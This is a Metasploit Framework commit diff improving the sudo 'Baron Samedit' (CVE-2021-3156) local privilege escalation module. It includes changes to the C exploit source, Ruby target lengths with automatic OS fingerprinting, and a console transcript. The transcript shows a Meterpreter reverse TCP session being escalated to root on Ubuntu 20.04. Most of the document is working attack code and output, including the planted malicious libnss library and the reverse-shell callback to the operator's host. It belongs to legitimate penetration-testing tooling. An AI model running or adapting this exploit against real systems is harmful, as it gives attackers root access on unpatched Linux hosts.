Land #14740, CVE-2021-3156 Sudo LPE (AKA: Baron Samedit) Improvements

This commit is contained in:
Tim W 2021-02-22 17:48:33 +00:00
commit edea755096
6 changed files with 91 additions and 55 deletions

View File

@ -36,32 +36,44 @@
#define SUDOEDIT_PATH "/usr/bin/sudoedit"
typedef struct {
char *target_name;
char *name;
char *sudoedit_path;
uint32_t smash_len_a;
uint32_t smash_len_b;
uint32_t null_stomp_len;
uint32_t lc_all_len;
char *overwrite_path;
} target_t;
/* main from: https://github.com/blasty/CVE-2021-3156/blob/main/hax.c */
int exploit(int argc, char *argv[]) {
if (argc != 5) {
char *lib_path = "X/P0P_SH3LLZ_";
if (!((argc == 5) || (argc == 6))) {
return -1;
}
/* if an extra argument is specified, it is component of the library path to
* load that is overwritten and must be exactly 11 characters long
*/
if (argc == 6) {
if (strlen(argv[5]) != 11) {
return -1;
}
lib_path = argv[5];
}
target_t *target = NULL;
target = malloc(sizeof(target_t));
target->target_name = "Manual";
target->name = "Manual";
target->sudoedit_path = SUDOEDIT_PATH;
target->smash_len_a = atoi(argv[1]);
target->smash_len_b = atoi(argv[2]);
target->null_stomp_len = atoi(argv[3]);
target->lc_all_len = atoi(argv[4]);
target->overwrite_path = lib_path;
printf(
"using target: %s '%s' (%d, %d, %d, %d)\n",
target->target_name,
target->name,
target->sudoedit_path,
target->smash_len_a,
target->smash_len_b,
@ -88,7 +100,7 @@ int exploit(int argc, char *argv[]) {
for(int i = 0; i < target->null_stomp_len; i++) {
s_envp[envp_pos++] = "\\";
}
s_envp[envp_pos++] = "X/P0P_SH3LLZ_";
s_envp[envp_pos++] = target->overwrite_path;
char *lc_all = calloc(target->lc_all_len + 16, 1);
strcpy(lc_all, "LC_ALL=C.UTF-8@");

View File

@ -64,13 +64,13 @@ The lengths to set as used by the manual target. See the "Manual Target" section
```
msf6 exploit(multi/ssh/sshexec) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] 192.168.159.34:22 - Sending stager...
[*] Command Stager progress - 47.24% done (410/868 bytes)
[*] Sending stage (3008420 bytes) to 192.168.159.34
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.34:45494) at 2021-02-03 17:14:42 -0500
[*] Command Stager progress - 42.75% done (342/800 bytes)
[*] Sending stage (980808 bytes) to 192.168.159.34
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.34:47868) at 2021-02-11 11:55:21 -0500
[!] Timed out while waiting for command to return
[*] Command Stager progress - 100.00% done (868/868 bytes)
[*] Command Stager progress - 100.00% done (800/800 bytes)
meterpreter > getuid
Server username: smcintyre @ ubuntu (uid=1000, gid=1000, euid=1000, egid=1000)
@ -78,39 +78,41 @@ meterpreter > sysinfo
Computer : 192.168.159.34
OS : Ubuntu 20.04 (Linux 5.8.0-41-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > background
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/ssh/sshexec) > use exploit/linux/local/sudo_baron_samedit
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/ssh/sshexec) > use exploit/linux/local/sudo_baron_samedit
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/sudo_baron_samedit) > set SESSION 1
SESSION => 1
msf6 exploit(linux/local/sudo_baron_samedit) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(linux/local/sudo_baron_samedit) > set TARGET 1
TARGET => 1
msf6 exploit(linux/local/sudo_baron_samedit) > set TARGET Automatic
TARGET => Automatic
msf6 exploit(linux/local/sudo_baron_samedit) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. sudo 1.8.31 is a vulnerable build.
[*] Writing '/tmp/CEmBxB3Sec.c' (3666 bytes) ...
[*] Writing '/tmp/libnss_X/P0P_SH3LLZ_ .so.2' (532 bytes) ...
[!] The service is running, but could not be validated. sudo 1.8.31 maybe a vulnerable build.
[*] Using automatically selected target: Ubuntu 20.04 x64 (sudo v1.8.31, libc v2.31)
[*] Writing '/tmp/libnss_9S9MeS/tB8M .so.2' (564 bytes) ...
[*] Sending stage (3008420 bytes) to 192.168.159.34
[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.34:45496) at 2021-02-03 17:15:29 -0500
[+] Deleted /tmp/CEmBxB3Sec.c
[+] Deleted /tmp/CEmBxB3Sec
[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.34:47870) at 2021-02-11 11:55:56 -0500
[+] Deleted /tmp/p60htQTDNO
[+] Deleted /tmp/libnss_9S9MeS/tB8M .so.2
[+] Deleted /tmp/libnss_9S9MeS
meterpreter > getuid
Server username: root @ ubuntu (uid=1000, gid=1000, euid=0, egid=0)
Server username: root @ ubuntu (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer : 192.168.159.34
OS : Ubuntu 20.04 (Linux 5.8.0-41-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
meterpreter >
```
[1]: https://github.com/blasty/CVE-2021-3156

View File

@ -79,10 +79,11 @@ module Msf::Post::File
# create and mark directory for cleanup
def mkdir(path)
result = nil
vprint_status("Creating directory #{path}")
if session.type == 'meterpreter'
vprint_status("Meterpreter Session")
result = session.fs.dir.mkdir(path)
# behave like mkdir -p and don't throw an error if the directory exists
result = session.fs.dir.mkdir(path) unless directory?(path)
else
if session.platform == 'windows'
result = cmd_exec("mkdir \"#{path}\"")

View File

@ -30,7 +30,7 @@ module Compile
def upload_and_compile(path, data, gcc_args='')
write_file "#{path}.c", strip_comments(data)
gcc_cmd = "gcc -o #{path} #{path}.c"
gcc_cmd = "gcc -o '#{path}' '#{path}.c'"
if session.type.eql? 'shell'
gcc_cmd = "PATH=\"$PATH:/usr/bin/\" #{gcc_cmd}"
end

View File

@ -19,7 +19,7 @@ module System
# Debian
if etc_files.include?("debian_version")
version = read_file("/etc/issue").gsub(/\n|\\n|\\l/,'')
version = read_file("/etc/issue").gsub(/\n|\\n|\\l/,'').strip
if kernel_version =~ /Ubuntu/
system_data[:distro] = "ubuntu"
system_data[:version] = version
@ -30,7 +30,7 @@ module System
# Amazon / CentOS
elsif etc_files.include?('system-release')
version = read_file('/etc/system-release').gsub(/\n|\\n|\\l/,'')
version = read_file('/etc/system-release').gsub(/\n|\\n|\\l/,'').strip
if version.include? 'CentOS'
system_data[:distro] = 'centos'
system_data[:version] = version
@ -41,49 +41,49 @@ module System
# Alpine
elsif etc_files.include?('alpine-release')
version = read_file('/etc/alpine-release').gsub(/\n|\\n|\\l/,'')
version = read_file('/etc/alpine-release').gsub(/\n|\\n|\\l/,'').strip
system_data[:distro] = 'alpine'
system_data[:version] = version
# Fedora
elsif etc_files.include?("fedora-release")
version = read_file("/etc/fedora-release").gsub(/\n|\\n|\\l/,'')
version = read_file("/etc/fedora-release").gsub(/\n|\\n|\\l/,'').strip
system_data[:distro] = "fedora"
system_data[:version] = version
# Oracle Linux
elsif etc_files.include?("enterprise-release")
version = read_file("/etc/enterprise-release").gsub(/\n|\\n|\\l/,'')
version = read_file("/etc/enterprise-release").gsub(/\n|\\n|\\l/,'').strip
system_data[:distro] = "oracle"
system_data[:version] = version
# RedHat
elsif etc_files.include?("redhat-release")
version = read_file("/etc/redhat-release").gsub(/\n|\\n|\\l/,'')
version = read_file("/etc/redhat-release").gsub(/\n|\\n|\\l/,'').strip
system_data[:distro] = "redhat"
system_data[:version] = version
# Arch
elsif etc_files.include?("arch-release")
version = read_file("/etc/arch-release").gsub(/\n|\\n|\\l/,'')
version = read_file("/etc/arch-release").gsub(/\n|\\n|\\l/,'').strip
system_data[:distro] = "arch"
system_data[:version] = version
# Slackware
elsif etc_files.include?("slackware-version")
version = read_file("/etc/slackware-version").gsub(/\n|\\n|\\l/,'')
version = read_file("/etc/slackware-version").gsub(/\n|\\n|\\l/,'').strip
system_data[:distro] = "slackware"
system_data[:version] = version
# Mandrake
elsif etc_files.include?("mandrake-release")
version = read_file("/etc/mandrake-release").gsub(/\n|\\n|\\l/,'')
version = read_file("/etc/mandrake-release").gsub(/\n|\\n|\\l/,'').strip
system_data[:distro] = "mandrake"
system_data[:version] = version
# SuSE
elsif etc_files.include?("SuSE-release")
version = read_file("/etc/SuSE-release").gsub(/\n|\\n|\\l/,'')
version = read_file("/etc/SuSE-release").gsub(/\n|\\n|\\l/,'').strip
system_data[:distro] = "suse"
system_data[:version] = version
@ -95,19 +95,19 @@ module System
# Gentoo
elsif etc_files.include?("gentoo-release")
version = read_file("/etc/gentoo-release").gsub(/\n|\\n|\\l/,'')
version = read_file("/etc/gentoo-release").gsub(/\n|\\n|\\l/,'').strip
system_data[:distro] = "gentoo"
system_data[:version] = version
# Openwall
elsif etc_files.include?("owl-release")
version = read_file("/etc/owl-release").gsub(/\n|\\n|\\l/,'')
version = read_file("/etc/owl-release").gsub(/\n|\\n|\\l/,'').strip
system_data[:distro] = 'openwall'
system_data[:version] = version
# Generic
elsif etc_files.include?("issue")
version = read_file("/etc/issue").gsub(/\n|\\n|\\l/,'')
version = read_file("/etc/issue").gsub(/\n|\\n|\\l/,'').strip
system_data[:distro] = "linux"
system_data[:version] = version

View File

@ -46,13 +46,15 @@ class MetasploitModule < Msf::Exploit::Local
],
'Targets' =>
[
[ 'Manual', {} ],
[ 'Ubuntu 20.04 x64 (sudo v1.8.31, libc v2.31)', { lengths: [ 56, 54, 63, 200 ] } ],
[ 'Ubuntu 18.04 x64 (sudo v1.8.21, libc v2.27)', { lengths: [ 56, 54, 63, 212 ] } ],
[ 'Debian 10 x64 (sudo v1.8.27, libc v2.28)', { lengths: [ 64, 49, 60, 214 ] } ],
[ 'Automatic', { } ],
[ 'Ubuntu 20.04 x64 (sudo v1.8.31, libc v2.31)', { lengths: [ 56, 54, 63, 200 ], version_fingerprint: /^Ubuntu 20\.04/ } ],
[ 'Ubuntu 19.04 x64 (sudo v1.8.27, libc v2.29)', { lengths: [ 56, 54, 63, 212 ], version_fingerprint: /^Ubuntu 19\.04/ } ],
[ 'Ubuntu 18.04 x64 (sudo v1.8.21, libc v2.27)', { lengths: [ 56, 54, 63, 212 ], version_fingerprint: /^Ubuntu 18\.04/ } ],
[ 'Debian 10 x64 (sudo v1.8.27, libc v2.28)', { lengths: [ 64, 49, 60, 214 ], version_fingerprint: /^Debian GNU\/Linux 10$/ } ],
[ 'Manual', { } ],
],
'DefaultTarget' => 1,
'Arch' => ARCH_X64,
'DefaultTarget' => 0,
'Arch' => ARCH_X64,
'DefaultOptions' => { 'PrependSetgid' => true, 'PrependSetuid' => true, 'WfsDelay' => 10 },
'DisclosureDate' => '2021-01-26',
'Notes' => {
@ -112,24 +114,43 @@ class MetasploitModule < Msf::Exploit::Local
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
write_file path, data
register_file_for_cleanup(path)
end
def get_automatic_target
sysinfo = get_sysinfo
target = targets.find { |target| target.opts[:version_fingerprint]&.match(sysinfo[:version]) }
fail_with(Failure::NoTarget, 'Failed to automatically identify the target.') if target.nil?
print_status("Using automatically selected target: #{target.name}")
target
end
def exploit
if target.name == 'Manual'
fail_with(Failure::BadConfig, 'The "Lengths" advanced option must be specified for the manual target') if datastore['Lengths'].blank?
arguments = datastore['Lengths'].gsub(/,/, ' ').gsub(/ +/, ' ')
lengths = datastore['Lengths'].gsub(/,/, ' ').gsub(/ +/, ' ')
else
arguments = target[:lengths].join(' ')
lengths = (target.name == 'Automatic' ? get_automatic_target : target)[:lengths].join(' ')
end
fail_with(Failure::NotFound, 'The gcc binary was not found') unless has_gcc?
path = datastore['WritableDir']
cmd_exec("mkdir -p #{path}/libnss_X")
file_name = rand_text_alphanumeric(5..10)
upload_and_compile("#{path}/#{file_name}", exploit_data('CVE-2021-3156', 'exploit.c'), '-lutil')
upload("#{path}/libnss_X/P0P_SH3LLZ_ .so.2", generate_payload_dll)
cmd_exec("#{path}/#{file_name} #{arguments}")
exe_file_name = rand_text_alphanumeric(5..10)
overwrite_path = rand_overwrite_path # the part that is overwritten in memory to construct the full path
lib_file_path = "libnss_#{overwrite_path} .so.2" # the full path
upload_and_compile("#{path}/#{exe_file_name}", exploit_data('CVE-2021-3156', 'exploit.c'), '-lutil')
register_files_for_cleanup("#{path}/#{exe_file_name}")
mkdir("#{path}/#{lib_file_path.rpartition('/').first}")
upload("#{path}/#{lib_file_path}", generate_payload_dll)
cmd_exec("'#{path}/#{exe_file_name}' #{lengths} '#{overwrite_path}'")
end
def rand_overwrite_path
split_pos = rand(10)
"#{rand_text_alphanumeric(split_pos)}/#{rand_text_alphanumeric(10 - split_pos)}"
end
end